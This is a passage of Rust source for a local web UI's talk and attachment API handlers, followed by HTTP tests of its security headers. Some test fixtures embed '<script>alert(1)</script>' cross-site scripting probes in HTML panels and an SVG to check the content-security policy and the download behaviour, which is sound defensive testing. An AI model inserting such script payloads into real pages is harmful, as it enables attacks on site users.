7158 return Err(ApiError::conflict(
7159 "a talk turn is running; change the persona once it has answered",
7160 ));
7161 };
7162 let switched = {
7163 let ui = Arc::clone(&ui);
7164 let id = id.clone();
7165 let cfg = cfg.clone();
7166 blocking(move || {
7167 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7168 return Err(ApiError::bad_request(format!(
7169 "unknown persona `{}`",
7170 body.persona
7171 )));
7172 };
7173 let mut talk = ui.talks.get(&id)?;
7174 if !talk.status.open() {
7175 return Err(ApiError::conflict(format!(
7176 "talk {} is {} and takes no more turns",
7177 talk.short(),
7178 talk.status.as_str()
7179 )));
7180 }
7181 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7182 Ok(talk)
7183 })
7184 .await
7185 };
7186 let fresh = {
7188 let ui = Arc::clone(&ui);
7189 let id = id.clone();
7190 blocking(move || Ok(ui.talks.get(&id)?)).await
7191 };
7192 let draining = match fresh {
7193 Ok(talk) => {
7194 let draining = talk.status.open()
7195 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7196 let talks = ui.talks.clone();
7197 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7198 draining
7199 }
7200 Err(_) => false,
7201 };
7202 let talk = switched?;
7203 Ok(Json(TalkView::new(talk, draining)))
7204}
7205
7206#[derive(Debug, Deserialize)]
7208struct TalkImplementers {
7209 implementers: u8,
7210}
7211
7212async fn talk_implementers(
7216 State(ui): State<Arc<Ui>>,
7217 Path(id): Path<String>,
7218 Json(body): Json<TalkImplementers>,
7219) -> ApiResult<Json<TalkView>> {
7220 let id = {
7221 let ui = Arc::clone(&ui);
7222 blocking(move || resolve_talk(&ui.talks, &id)).await?
7223 };
7224 let repo = {
7225 let ui = Arc::clone(&ui);
7226 let id = id.clone();
7227 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7228 };
7229 let cfg = config_for(&repo).await?;
7230 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7231 return Err(ApiError::conflict(
7232 "a talk turn is running; change the implementers once it has answered",
7233 ));
7234 };
7235 let switched = {
7236 let ui = Arc::clone(&ui);
7237 let id = id.clone();
7238 let cfg = cfg.clone();
7239 blocking(move || {
7240 let chosen =
7241 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7242 let mut talk = ui.talks.get(&id)?;
7243 if !talk.status.open() {
7244 return Err(ApiError::conflict(format!(
7245 "talk {} is {} and takes no more turns",
7246 talk.short(),
7247 talk.status.as_str()
7248 )));
7249 }
7250 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7251 Ok(talk)
7252 })
7253 .await
7254 };
7255 let fresh = {
7257 let ui = Arc::clone(&ui);
7258 let id = id.clone();
7259 blocking(move || Ok(ui.talks.get(&id)?)).await
7260 };
7261 let draining = match fresh {
7262 Ok(talk) => {
7263 let draining = talk.status.open()
7264 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7265 let talks = ui.talks.clone();
7266 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7267 draining
7268 }
7269 Err(_) => false,
7270 };
7271 let talk = switched?;
7272 Ok(Json(TalkView::new(talk, draining)))
7273}
7274
7275async fn talk_close(
7277 State(ui): State<Arc<Ui>>,
7278 Path(id): Path<String>,
7279) -> ApiResult<Json<TalkView>> {
7280 blocking(move || {
7281 let id = resolve_talk(&ui.talks, &id)?;
7282 let mut talk = ui.talks.get(&id)?;
7283 talk::close(&mut talk, &ui.talks)?;
7284 let thinking = ui.is_thinking(&talk.id);
7285 Ok(Json(TalkView::new(talk, thinking)))
7286 })
7287 .await
7288}
7289
7290async fn talk_reopen(
7292 State(ui): State<Arc<Ui>>,
7293 Path(id): Path<String>,
7294) -> ApiResult<Json<TalkView>> {
7295 blocking(move || {
7296 let id = resolve_talk(&ui.talks, &id)?;
7297 let mut talk = ui.talks.get(&id)?;
7298 talk::reopen(&mut talk, &ui.talks)?;
7299 let thinking = ui.is_thinking(&talk.id);
7300 Ok(Json(TalkView::new(talk, thinking)))
7301 })
7302 .await
7303}
7304
7305async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7315 blocking(move || {
7316 let id = resolve_talk(&ui.talks, &id)?;
7317 ui.talks.remove(&id)?;
7318 Ok(StatusCode::NO_CONTENT)
7319 })
7320 .await
7321}
7322
7323fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7325 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7326}
7327
7328async fn talk_attachment_post(
7331 State(ui): State<Arc<Ui>>,
7332 Path(id): Path<String>,
7333 headers: HeaderMap,
7334 body: Bytes,
7335) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7336 let mime = validate_attachment(&headers, &body)?;
7337 let name = filename_header(&headers);
7338 let data = body.to_vec();
7339 blocking(move || {
7340 let id = resolve_talk(&ui.talks, &id)?;
7341 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7342 Ok((StatusCode::CREATED, Json(att)))
7343 })
7344 .await
7345}
7346
7347async fn talk_attachment_get(
7350 State(ui): State<Arc<Ui>>,
7351 Path((id, att)): Path<(String, String)>,
7352) -> ApiResult<Response> {
7353 blocking(move || {
7354 let id = resolve_talk(&ui.talks, &id)?;
7355 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7356 return Err(ApiError::not_found(format!(
7357 "talk {id} has no attachment `{att}`"
7358 )));
7359 };
7360 Ok(attachment_response(&meta.mime, data))
7361 })
7362 .await
7363}
7364
7365fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7376 if data.len() > ATTACHMENT_MAX_BYTES {
7377 return Err(ApiError::bad_request(format!(
7378 "attachment is {} bytes, over the {} MiB limit",
7379 data.len(),
7380 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7381 ))
7382 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7383 }
7384 if data.is_empty() {
7385 return Err(ApiError::bad_request("attachment is empty"));
7386 }
7387 let declared = declared_mime(headers)?;
7388 match sniffed_mime(data) {
7389 Some(sniffed) if sniffed == declared => Ok(declared),
7390 Some(sniffed) => Err(ApiError::bad_request(format!(
7391 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7392 ))),
7393 None => Err(ApiError::bad_request(
7394 "the file's bytes do not match any accepted image format",
7395 )),
7396 }
7397}
7398
7399fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7403 let raw = headers
7404 .get(header::CONTENT_TYPE)
7405 .and_then(|v| v.to_str().ok())
7406 .unwrap_or("")
7407 .split(';')
7408 .next()
7409 .unwrap_or("")
7410 .trim()
7411 .to_ascii_lowercase();
7412 ATTACHMENT_MIME_WHITELIST
7413 .iter()
7414 .find(|&&m| m == raw)
7415 .copied()
7416 .ok_or_else(|| {
7417 if raw == "image/svg+xml" {
7418 ApiError::bad_request(
7419 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7420 not just a picture",
7421 )
7422 } else if raw.is_empty() {
7423 ApiError::bad_request("Content-Type is required for an attachment upload")
7424 } else {
7425 ApiError::bad_request(format!(
7426 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7427 image/gif or image/webp"
7428 ))
7429 }
7430 })
7431}
7432
7433fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7436 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7437 Some("image/png")
7438 } else if data.starts_with(b"\xff\xd8\xff") {
7439 Some("image/jpeg")
7440 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7441 Some("image/gif")
7442 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7443 Some("image/webp")
7444 } else {
7445 None
7446 }
7447}
7448
7449fn filename_header(headers: &HeaderMap) -> String {
7455 headers
7456 .get(FILENAME_HEADER)
7457 .and_then(|v| v.to_str().ok())
7458 .map(str::trim)
7459 .filter(|s| !s.is_empty())
7460 .unwrap_or("attachment")
7461 .to_owned()
7462}
7463
7464fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7471 let content_type = ATTACHMENT_MIME_WHITELIST
7472 .iter()
7473 .find(|&&m| m == mime)
7474 .copied()
7475 .unwrap_or("application/octet-stream");
7476 (
7477 [
7478 (header::CONTENT_TYPE, content_type),
7479 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7480 ],
7481 body,
7482 )
7483 .into_response()
7484}
7485
7486async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7494 let repo = repo.to_path_buf();
7495 blocking(move || {
7496 let (cfg, _) = Config::discover(&repo, None)?;
7497 Ok(cfg)
7498 })
7499 .await
7500}
7501
7502fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7508 let mut hits = ids
7509 .into_iter()
7510 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7511 match (hits.next(), hits.next()) {
7512 (Some(one), None) => Ok(one),
7513 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7514 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7515 "`{prefix}` matches more than one {what}, including {a} and {b}"
7516 ))),
7517 }
7518}
7519
7520#[cfg(test)]
7521mod tests {
7522
7523 #[test]
7524 fn holder_reads_the_lease_not_the_record() {
7525 let mut q = Question::new(
7526 "run".to_owned(),
7527 "implement".to_owned(),
7528 "impl-A".to_owned(),
7529 "which?".to_owned(),
7530 String::new(),
7531 Vec::new(),
7532 );
7533 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7534 q.cwd = Some("/tmp".to_owned());
7535 assert_eq!(holder_of(&q, None), Some("nobody"));
7536 let beat = |kind, ago: i64| ask::Lease {
7537 kind,
7538 pid: 1,
7539 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7540 .unwrap(),
7541 };
7542 let fresh = beat(ask::WaiterKind::Asker, 1);
7543 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7544 let daemon = beat(ask::WaiterKind::Daemon, 1);
7545 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7546 let stale = beat(ask::WaiterKind::Asker, 3600);
7547 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7548
7549 let mut c = Question::new(
7552 "task".to_owned(),
7553 crate::conduct::NODE.to_owned(),
7554 "conduct".to_owned(),
7555 "which?".to_owned(),
7556 String::new(),
7557 Vec::new(),
7558 );
7559 assert_eq!(holder_of(&c, None), Some("nobody"));
7560 c.cwd = Some("/tmp".to_owned());
7561 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7562 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7563 let deputy = beat(ask::WaiterKind::Deputy, 1);
7564 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7565 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7566
7567 let mut r = Question::new(
7569 String::new(),
7570 crate::bump::NOTICE_NODE.to_owned(),
7571 "release-watch".to_owned(),
7572 "stuck?".to_owned(),
7573 String::new(),
7574 vec!["hold".to_owned()],
7575 );
7576 assert_eq!(holder_of(&r, None), Some("nobody"));
7577 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7578 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7579 r.deputy = None;
7581 r.seat = "bump".to_owned();
7582 assert_eq!(holder_of(&r, None), None);
7583
7584 let mut m = Question::new(
7587 "run".to_owned(),
7588 crate::land::APPROVAL_NODE.to_owned(),
7589 "land".to_owned(),
7590 "merge?".to_owned(),
7591 String::new(),
7592 Vec::new(),
7593 );
7594 assert_eq!(holder_of(&m, None), Some("nobody"));
7595 assert_eq!(
7596 holder_of(&m, Some(&fresh)),
7597 Some("nobody"),
7598 "a lease with no deputy is not a listener"
7599 );
7600 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7601 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7602 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7603 assert_eq!(holder_of(&m, None), Some("nobody"));
7604 }
7605
7606 fn stub_config() -> Config {
7607 Config {
7610 agents: vec![crate::config::AgentSpec {
7611 id: "stub".to_owned(),
7612 kind: AgentKind::Command,
7613 model: None,
7614 command: vec!["true".to_owned()],
7615 extra_args: Vec::new(),
7616 env: Default::default(),
7617 prompt_delivery: None,
7618 }],
7619 ..Config::default()
7620 }
7621 }
7622
7623 fn plain_question(seat: &str) -> Question {
7624 Question::new(
7625 String::new(),
7626 "n".to_owned(),
7627 seat.to_owned(),
7628 "s".to_owned(),
7629 String::new(),
7630 Vec::new(),
7631 )
7632 }
7633
7634 #[test]
7635 fn deputies_enabled_follows_the_config() {
7636 let on = stub_config();
7637 assert!(crate::deputy::can_start(Some(&on), ""));
7638 assert!(crate::deputy::can_start(Some(&on), "stub"));
7639 let mut off = on.clone();
7640 off.daemon.max_deputies = 0;
7641 assert!(!crate::deputy::can_start(Some(&off), ""));
7642 let mut empty = on;
7643 empty.agents.clear();
7644 assert!(!crate::deputy::can_start(Some(&empty), ""));
7645 assert!(!crate::deputy::can_start(None, ""));
7646 }
7647
7648 #[test]
7649 fn question_views_load_the_config_once() {
7650 let dir = TempDir::new().unwrap();
7651 let store = ask::Questions::at(dir.path().to_path_buf());
7652 let mut with_deputy = plain_question("b");
7653 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7654 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7655
7656 let calls = std::cell::Cell::new(0usize);
7657 let views = question_views(qs.clone(), &store, || {
7658 calls.set(calls.get() + 1);
7659 Some(stub_config())
7660 });
7661 assert_eq!(calls.get(), 1);
7662 assert_eq!(views.len(), 3);
7663 for (v, q) in views.iter().zip(&qs) {
7664 assert_eq!(
7665 v.deputies_enabled,
7666 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7667 );
7668 }
7669
7670 let views = question_views(qs, &store, || None);
7671 assert!(views.iter().all(|v| !v.deputies_enabled));
7672
7673 let calls = std::cell::Cell::new(0usize);
7674 let views = question_views(Vec::new(), &store, || {
7675 calls.set(calls.get() + 1);
7676 None
7677 });
7678 assert!(views.is_empty());
7679 assert_eq!(calls.get(), 0);
7680 }
7681
7682 use pretty_assertions::assert_eq;
7683 use serde_json::Value;
7684 use tempfile::TempDir;
7685 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7686
7687 use super::*;
7688 use crate::config::Config;
7689 use crate::queue::Source;
7690
7691 const SETTLE_STEPS: usize = 3_000;
7702
7703 struct Fixture {
7709 home: TempDir,
7710 addr: SocketAddr,
7711 }
7712
7713 impl Fixture {
7714 async fn start() -> Self {
7715 Self::with_loop(launch_idle).await
7716 }
7717
7718 async fn with_loop(launch: Launch) -> Self {
7720 let home = TempDir::new().expect("temp home");
7721 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7722 Self { home, addr }
7723 }
7724
7725 async fn with_repo(repo: PathBuf) -> Self {
7729 let home = TempDir::new().expect("temp home");
7730 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7731 Self { home, addr }
7732 }
7733
7734 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7737 let home = TempDir::new().expect("temp home");
7738 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7739 Self { home, addr }
7740 }
7741
7742 async fn serve(
7743 home: &FsPath,
7744 repo: PathBuf,
7745 launch: Launch,
7746 machine: Option<PathBuf>,
7747 ) -> SocketAddr {
7748 let queue = Queue::at(home.join("queue"));
7749 let runs = home.join("runs");
7750 std::fs::create_dir_all(&runs).expect("runs dir");
7751 let worktrees = home.join("wt").join("magi");
7752 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7753 let ui = Ui::new(
7754 queue,
7755 Questions::at(home.join("questions")),
7756 Talks::at(home.join("talks")),
7757 runs,
7758 home.to_path_buf(),
7759 repo,
7760 )
7761 .with_worktrees_root(worktrees)
7762 .with_machine_config(machine)
7763 .with_launch(launch);
7764 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7765 .await
7766 .expect("bind loopback");
7767 let addr = listener.local_addr().expect("local addr");
7768 tokio::spawn(async move {
7769 let _ = axum::serve(listener, ui.router()).await;
7770 });
7771 addr
7772 }
7773
7774 fn queue(&self) -> Queue {
7775 Queue::at(self.home.path().join("queue"))
7776 }
7777
7778 fn questions(&self) -> Questions {
7779 Questions::at(self.home.path().join("questions"))
7780 }
7781
7782 fn talks(&self) -> Talks {
7783 Talks::at(self.home.path().join("talks"))
7784 }
7785
7786 fn runs(&self) -> PathBuf {
7787 self.home.path().join("runs")
7788 }
7789
7790 async fn get(&self, path: &str) -> Res {
7791 request(self.addr, "GET", path, None).await
7792 }
7793
7794 async fn head(&self, path: &str) -> Res {
7799 request(self.addr, "HEAD", path, None).await
7800 }
7801
7802 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7803 request(self.addr, "POST", path, body).await
7804 }
7805
7806 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7807 request_with(self.addr, "GET", path, None, extra).await
7808 }
7809
7810 async fn delete(&self, path: &str) -> Res {
7811 request(self.addr, "DELETE", path, None).await
7812 }
7813
7814 async fn put(&self, path: &str, body: &str) -> Res {
7815 request(self.addr, "PUT", path, Some(body)).await
7816 }
7817
7818 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7820 request_bytes(self.addr, path, headers, body).await
7821 }
7822 }
7823
7824 struct Res {
7825 status: u16,
7826 headers: String,
7827 head: String,
7832 body: String,
7833 bytes: Vec<u8>,
7837 }
7838
7839 impl Res {
7840 fn json(&self) -> Value {
7841 serde_json::from_str(&self.body)
7842 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7843 }
7844
7845 fn header(&self, name: &str) -> Option<&str> {
7847 self.head.lines().find_map(|line| {
7848 let (key, value) = line.split_once(':')?;
7849 key.trim()
7850 .eq_ignore_ascii_case(name)
7851 .then(|| value.trim_start().trim_end_matches('\r'))
7852 })
7853 }
7854 }
7855
7856 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7859 request_with(addr, method, path, body, &[]).await
7860 }
7861
7862 async fn request_with(
7866 addr: SocketAddr,
7867 method: &str,
7868 path: &str,
7869 body: Option<&str>,
7870 extra: &[(&str, &str)],
7871 ) -> Res {
7872 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7873 for (name, value) in extra {
7874 head.push_str(&format!("{name}: {value}\r\n"));
7875 }
7876 if let Some(body) = body {
7877 head.push_str("Content-Type: application/json\r\n");
7878 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7879 }
7880 head.push_str("\r\n");
7881 if let Some(body) = body {
7882 head.push_str(body);
7883 }
7884 let mut socket = tokio::net::TcpStream::connect(addr)
7885 .await
7886 .expect("connect to the test server");
7887 socket
7888 .write_all(head.as_bytes())
7889 .await
7890 .expect("write request");
7891 let mut raw = Vec::new();
7892 socket.read_to_end(&mut raw).await.expect("read response");
7893 let split = raw
7896 .windows(4)
7897 .position(|w| w == b"\r\n\r\n")
7898 .expect("a header block");
7899 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7900 let bytes = raw[split + 4..].to_vec();
7901 let status = head
7902 .lines()
7903 .next()
7904 .and_then(|line| line.split_whitespace().nth(1))
7905 .and_then(|code| code.parse().ok())
7906 .expect("a status line");
7907 Res {
7908 status,
7909 headers: head.to_lowercase(),
7910 head,
7911 body: String::from_utf8_lossy(&bytes).into_owned(),
7912 bytes,
7913 }
7914 }
7915
7916 async fn request_bytes(
7922 addr: SocketAddr,
7923 path: &str,
7924 headers: &[(&str, &str)],
7925 body: &[u8],
7926 ) -> Res {
7927 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7928 for (name, value) in headers {
7929 head.push_str(&format!("{name}: {value}\r\n"));
7930 }
7931 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7932 let mut socket = tokio::net::TcpStream::connect(addr)
7933 .await
7934 .expect("connect to the test server");
7935 socket
7936 .write_all(head.as_bytes())
7937 .await
7938 .expect("write request head");
7939 socket.write_all(body).await.expect("write request body");
7940 let mut raw = Vec::new();
7941 socket.read_to_end(&mut raw).await.expect("read response");
7942 let split = raw
7943 .windows(4)
7944 .position(|w| w == b"\r\n\r\n")
7945 .expect("a header block");
7946 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7947 let bytes = raw[split + 4..].to_vec();
7948 let status = head
7949 .lines()
7950 .next()
7951 .and_then(|line| line.split_whitespace().nth(1))
7952 .and_then(|code| code.parse().ok())
7953 .expect("a status line");
7954 Res {
7955 status,
7956 headers: head.to_lowercase(),
7957 head,
7958 body: String::from_utf8_lossy(&bytes).into_owned(),
7959 bytes,
7960 }
7961 }
7962
7963 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7965 let mut state = RunState::new(
7966 PathBuf::from("/repo/magi"),
7967 "main".to_owned(),
7968 "0123456789abcdef".to_owned(),
7969 "Add a web UI\n\nMobile first.".to_owned(),
7970 Config::default(),
7971 );
7972 state.id = id.to_owned();
7973 state.status = status;
7974 let dir = runs.join(id);
7975 std::fs::create_dir_all(&dir).expect("run dir");
7976 std::fs::write(
7977 dir.join("run.json"),
7978 serde_json::to_string_pretty(&state).expect("serialize run"),
7979 )
7980 .expect("write run.json");
7981 }
7982
7983 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7987 let mut state = RunState::new(
7988 PathBuf::from(repo),
7989 "main".to_owned(),
7990 "0123456789abcdef".to_owned(),
7991 "task".to_owned(),
7992 Config::default(),
7993 );
7994 state.id = id.to_owned();
7995 state.status = status;
7996 let dir = runs.join(id);
7997 std::fs::create_dir_all(&dir).expect("run dir");
7998 std::fs::write(
7999 dir.join("run.json"),
8000 serde_json::to_string_pretty(&state).expect("serialize run"),
8001 )
8002 .expect("write run.json");
8003 }
8004
8005 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8006 let body = serde_json::json!({
8007 "schema": 1,
8008 "pid": 4242,
8009 "started_at": Timestamp::now().to_string(),
8010 "updated_at": updated_at.to_string(),
8011 "idle": false,
8012 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8013 "completed": 7,
8014 "polls": 143,
8015 });
8016 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8017 }
8018
8019 fn launch_idle(
8029 _opts: daemon::Opts,
8030 stop: daemon::Stop,
8031 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8032 Box::pin(async move {
8033 while !stop.stopped() {
8034 tokio::time::sleep(Duration::from_millis(2)).await;
8035 }
8036 Ok(())
8037 })
8038 }
8039
8040 fn launch_broken(
8043 _opts: daemon::Opts,
8044 _stop: daemon::Stop,
8045 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8046 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8051 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8052 Box::pin(async move {
8053 Err(anyhow::anyhow!(if first {
8054 "publish the daemon status file: read-only file system"
8055 } else {
8056 "the restarted stand-in failed as well"
8057 }))
8058 })
8059 }
8060
8061 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8068 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8069
8070 fn launch_knocking_on_the_way_out(
8077 _opts: daemon::Opts,
8078 stop: daemon::Stop,
8079 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8080 Box::pin(async move {
8081 while !stop.stopped() {
8082 tokio::time::sleep(Duration::from_millis(2)).await;
8083 }
8084 let addr = PARK_KNOCK
8085 .lock()
8086 .expect("park knock")
8087 .expect("the test set an address");
8088 let heard = request(addr, "GET", "/api/health", None).await.status;
8089 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8090 Ok(())
8091 })
8092 }
8093
8094 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8103 for _ in 0..SETTLE_STEPS {
8104 let view = fx.get("/api/loop").await.json();
8105 if want(&view) {
8106 return view;
8107 }
8108 tokio::time::sleep(Duration::from_millis(10)).await;
8109 }
8110 panic!(
8111 "the loop never settled: {}",
8112 fx.get("/api/loop").await.json()
8113 );
8114 }
8115
8116 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8118 let store = fx.questions();
8119 let mut q = Question::new(
8120 "20260902-000000-beef".to_owned(),
8121 "implement".to_owned(),
8122 "impl-A".to_owned(),
8123 summary.to_owned(),
8124 "because it matters".to_owned(),
8125 choices.iter().map(|c| (*c).to_owned()).collect(),
8126 );
8127 store.put(&mut q).expect("put question");
8128 q.id
8129 }
8130
8131 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8137 let store = fx.questions();
8138 let mut q = Question::new(
8139 "20260902-000000-beef".to_owned(),
8140 "land".to_owned(),
8141 "fix".to_owned(),
8142 "Merge this?".to_owned(),
8143 "the diff is in the panel".to_owned(),
8144 vec!["merge".to_owned(), "hold".to_owned()],
8145 );
8146 let staging = fx.home.path().join("staging");
8149 std::fs::create_dir_all(&staging).expect("staging dir");
8150 let sources: Vec<PathBuf> = assets
8151 .iter()
8152 .map(|(name, bytes)| {
8153 let path = staging.join(name);
8154 std::fs::write(&path, bytes).expect("write staged asset");
8155 path
8156 })
8157 .collect();
8158 store
8159 .put_panel(&mut q, html, &sources)
8160 .expect("write the panel");
8161 store.put(&mut q).expect("put question");
8162 q.id
8163 }
8164
8165 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8174 seed_talk_at(&fx.talks(), id, status)
8175 }
8176
8177 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8178 std::fs::create_dir_all(store.root()).expect("talks dir");
8179 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8180 .expect("serialize a seat");
8181 let body = serde_json::json!({
8182 "schema": 1,
8183 "id": id,
8184 "repo": "/repo/magi",
8185 "agent": "mock",
8186 "status": status,
8187 "turns": [],
8188 "created_at": Timestamp::now().to_string(),
8189 "updated_at": Timestamp::now().to_string(),
8190 "seat": seat,
8191 });
8192 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8193 store.get(id).expect("the seeded talk has to be readable");
8194 id.to_owned()
8195 }
8196
8197 #[tokio::test]
8198 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8199 let fx = Fixture::start().await;
8200 let id = panel(
8201 &fx,
8202 "<h1>Merge?</h1><img src=\"diff.svg\">",
8203 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8204 );
8205
8206 for path in [
8207 format!("/api/questions/{id}/panel"),
8208 format!("/api/questions/{id}/asset/diff.svg"),
8209 ] {
8210 let res = fx.get(&path).await;
8211 assert_eq!(res.status, 200, "{path}: {}", res.body);
8212 assert_eq!(
8218 res.header("content-security-policy"),
8219 Some(
8220 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8221 font-src data:; base-uri 'none'; form-action 'none'; \
8222 frame-ancestors 'self'"
8223 ),
8224 "{path} is the only thing between a hostile panel and the tailnet"
8225 );
8226 assert_eq!(
8227 res.header("x-content-type-options"),
8228 Some("nosniff"),
8229 "{path}: a browser must not re-decide the type we sent"
8230 );
8231 assert_eq!(
8232 res.header("referrer-policy"),
8233 Some("no-referrer"),
8234 "{path}: a panel must not leak the question id off the machine"
8235 );
8236
8237 let pre = fx.head(&path).await;
8242 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8243 assert_eq!(
8244 pre.header("content-security-policy"),
8245 res.header("content-security-policy"),
8246 "{path}: the preflight carries the same policy"
8247 );
8248 assert_eq!(
8249 pre.header("content-type"),
8250 res.header("content-type"),
8251 "{path}: the preflight carries the same type"
8252 );
8253 }
8254 }
8255
8256 #[tokio::test]
8257 async fn a_panel_reaches_the_browser_byte_for_byte() {
8258 let fx = Fixture::start().await;
8259 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8264 let id = panel(&fx, html, &[]);
8265
8266 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8267
8268 assert_eq!(res.status, 200);
8269 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8270 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8271 assert_eq!(
8272 res.header("content-disposition"),
8273 None,
8274 "the panel itself is rendered in the frame, not downloaded"
8275 );
8276 }
8277
8278 #[tokio::test]
8279 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8280 let fx = Fixture::start().await;
8281 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8282 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8283 let id = panel(
8284 &fx,
8285 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8286 &[("diff.svg", svg), ("shot.png", png)],
8287 );
8288
8289 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8290 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8291
8292 assert_eq!(as_svg.status, 200);
8293 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8294 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8299
8300 assert_eq!(as_png.status, 200);
8301 assert_eq!(as_png.header("content-type"), Some("image/png"));
